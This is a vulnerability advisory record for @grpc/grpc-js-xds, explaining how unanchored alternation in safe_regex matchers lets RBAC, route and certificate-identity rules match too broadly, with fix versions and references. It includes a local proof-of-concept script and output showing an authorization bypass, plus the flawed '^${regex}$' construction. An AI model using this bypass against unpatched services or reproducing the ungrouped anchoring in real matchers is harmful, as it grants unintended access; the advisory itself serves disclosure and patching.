{"id":"CVE-2026-126367","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-126367","summary":"@grpc/grpc-js: safe_regex incorrectly applies partial string matching for patterns with alternation","details":"### Summary\n\nThe StringMatcher/PathMatcher for `safe_regex` builds its RE2 as `^${regex}$` with no surrounding group. Because alternation has the lowest precedence, a pattern `\"a|b|c\"` compiles to `/^a|b|c$/` -- \"starts with a\" OR \"contains b\" OR \"ends with c\" instead of a full match of the whole value. Configurations with `safe_regex` matchers that use a regex alternation (a natural way to list methods or service identities) therefore apply partial string matches. This impacts route selection, xDS credentials, and RBAC.\n\n### Details\n\n`src/matcher.ts`: `SafeRegexValueMatcher` and `PathSafeRegexValueMatcher` both do\n```ts\nthis.targetRegexImpl = new RE2(`^${targetRegex}$`, 'u');\n```\n\nand `apply()` returns `targetRegexImpl.test(value)`. With a top-level alternation the anchors bind only to the first/last branch.\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L59\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/matcher.ts#L232\n\n`src/route.ts` (`getPredicateForStringMatcher` / `getPredicateForHeaderMatcher`) builds these for every `safe_regex` `StringMatcher`/`HeaderMatcher`, and src/rbac.ts uses them for RBAC `url_path` `permissions`/`principals`, `authenticated.principal_name` (mTLS SAN/CN), `requested_server_name` and `header rules`. So an ALLOW rule written with an alternation grants access to method names, certificate identities or header values that extend an intended one. DENY policies only become broader (fail-safe).\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L28\n\nhttps://github.com/grpc/grpc-node/blob/e742b11bd8039f3dbea4cd29afdf5d95a8ba6b92/packages/grpc-js-xds/src/route.ts#L47\n\n### Proof of concept\n\nIn a scratch directory:\n\n```\nnpm init -y\nnpm i @grpc/grpc-js-xds@1.14.1 @grpc/grpc-js\nnode poc.cjs\n```\n\n`poc.cjs` calls the exported RBAC engine directly (the functions grpc-js uses to make the authorization decision); no server or network:\n\n```js\nconst { parseConfig } = require('@grpc/grpc-js-xds/build/src/rbac.js')\nconst { SafeRegexValueMatcher } = require('@grpc/grpc-js-xds/build/src/matcher.js')\nconst { Metadata } = require('@grpc/grpc-js')\n\nconsole.log(new SafeRegexValueMatcher('admin|editor').toString()) // SafeRegex(/^admin|editor$/u)\n\nconst sr = regex => ({ match_pattern: 'safe_regex', safe_regex: { regex } })\nconst info = urlPath => ({ urlPath, headers: new Metadata(), tls: true, peerCertificate: null,\n  destinationIp: '10.0.0.1', destinationPort: 443, sourceIp: '10.0.0.2' })\nconst g = parseConfig({ action: 'ALLOW', policies: { p: {\n  permissions: [{ rule: 'url_path', url_path: { path: sr('/acme.Users/GetUser|/acme.Users/ListUsers') } }],\n  principals: [{ identifier: 'any', any: true }] } } })\n\nconsole.log('GetUser       ', g.apply(info('/acme.Users/GetUser')))       // true  (intended)\nconsole.log('DeleteUser    ', g.apply(info('/acme.Users/DeleteUser')))    // false (control)\nconsole.log('GetUserSecrets', g.apply(info('/acme.Users/GetUserSecrets'))) // true <-- BYPASS\n```\n\nObserved (grpc-js-xds 1.14.1, grpc-js 1.14.6):\n\n```\nmatcher \"admin|editor\" -> SafeRegex(/^admin|editor$/u);\n    apply(\"administrator\")=true, apply(\"not-an-editor\")=true\nALLOW url_path /acme.Users/GetUser|/acme.Users/ListUsers:\n    /acme.Users/GetUser         -> ALLOWED (intended)\n    /acme.Users/DeleteUser      -> denied  (control)\n    /acme.Users/GetUserSecrets  -> ALLOWED <-- bypass (policy intends deny)\ncontrol, same regex as (?:...|...): /acme.Users/GetUserSecrets -> denied\nALLOW authenticated principal_name spiffe://prod/ns/web/sa/frontend|...ops/sa/admin:\n    spiffe://prod/ns/web/sa/frontend-batch -> ALLOWED <-- bypass\n```\n\n### Impact\n\nUsers of `@grpc/grpc-js-xds` who are using `safe_regex` matchers with alternation for route selection, xDS credentials SAN matchers, or RBAC rules may see incorrectly permissive behavior.","published":"2026-11-12T23:21:57Z","modified":"2026-11-12T23:30:03.874475891Z","cvss":{"score":4.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"@grpc/grpc-js-xds","fixedVersion":"1.14.2"},{"ecosystem":"npm","name":"@grpc/grpc-js-xds","fixedVersion":"1.13.2"}],"fix":{"url":"https://github.com/grpc/grpc-node/commit/3fc3b0ebf7a89d64843a73679951142d33b40cb1","label":"grpc/grpc-node@3fc3b0e"},"references":[{"type":"WEB","url":"https://github.com/grpc/grpc-node/security/advisories/GHSA-r7hq-q2xm-6c5m"},{"type":"WEB","url":"https://github.com/grpc/grpc-node/commit/3fc3b0ebf7a89d64843a73679951142d33b40cb1"},{"type":"WEB","url":"https://github.com/grpc/grpc-node/commit/57a67e96babcb29b6eabc1833221ccf2fa152d43"},{"type":"PACKAGE","url":"https://github.com/grpc/grpc-node"},{"type":"WEB","url":"https://github.com/grpc/grpc-node/releases/tag/@grpc/grpc-js-xds@1.13.2"},{"type":"WEB","url":"https://github.com/grpc/grpc-node/releases/tag/@grpc/grpc-js-xds@1.14.2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-12T23:30:03.874475891Z"}}